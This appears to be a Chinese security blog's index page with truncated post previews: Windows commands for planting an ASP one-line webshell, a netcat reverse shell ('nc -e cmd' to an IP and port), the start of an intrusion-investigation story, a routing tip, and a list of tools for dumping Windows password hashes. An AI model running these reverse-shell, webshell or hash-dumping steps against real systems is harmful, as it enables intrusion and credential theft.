mfkpie的专栏

echo ^ >C：\wmpub\hkfe666\h4ck.asp     Md hack 创建hack文件夹     本地nc -vv -p -l 端口     服务器 nc路径 -e cmd路径 ip 端口     Rd hack 删除hack文件夹     Type d：\wwwroot\hack.asp 查看一句话木马的内容     Del d：\wwwroot\hack.

http://icefishwp.sinaapp.com/?p=134 一次被黑追凶(未完待续) 0×01，某天师妹告诉我们某台服务器疑似被人干掉了，我果断远程过去，结果服务器远程不上，感觉有点意思了 第二天到实验室，果断直接物理登录，发现服务器出现了奇怪的情况，没了任务管理器，无法直接关机。 远程端口疑似被改，   首先写道 netsta

route add 100.0.0.0 mask 255.255.255.0 10.27.13.192(IP) 并且需要设置拔号的属性IP不来到网关的DHCP 这样设置了后就会可以上网也可以打开网页

Win2012 Server抓HASH(本地+域) 为避免文章过长，这里就不贴出详细测试过程了。经过我的测试，发现本地用户hash抓取的方法中，以下几种方式是可行的： hash:在线解密： http://www.objectif-securite.ch/ophcrack.php 注册表导出+cain Pwdump7.exe QuarksPwDump.exe mim